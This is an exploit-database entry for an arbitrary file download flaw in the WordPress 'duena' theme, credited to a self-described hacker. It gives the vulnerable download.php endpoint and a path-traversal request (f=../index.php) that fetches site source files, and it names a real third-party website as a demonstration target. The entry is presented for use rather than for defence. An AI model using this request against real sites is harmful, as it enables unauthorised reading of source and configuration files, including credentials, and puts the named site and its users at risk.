Wordpress duena theme - Arbitrary file download Vulnerability

2018-01-21T00:00:00
ID 1337DAY-ID-29598
Type zdt
Reporter MrSqar
Modified 2018-01-21T00:00:00

Description

Exploit for php platform in category web applications

                                        
                                            -===================­====================­=================-
# Exploit title : Wordpress duena theme - Arbitrary file download
# author : MrSqar Yemeni hacker
# Team : IT-Geeks
# Tested on : BackBox linux
# check if site is vulnerabe : /wp-content/themes/duena/download.php
you can download any script from the site by this method 
site.com/wp-content/themes/duena/download.php?f=../index.php
# deom site :
https://www.puti.org/id/wp-content/themes/duena/download.php?f=../index.php
 -===================­====================­=================-

#  0day.today [2018-01-26]  #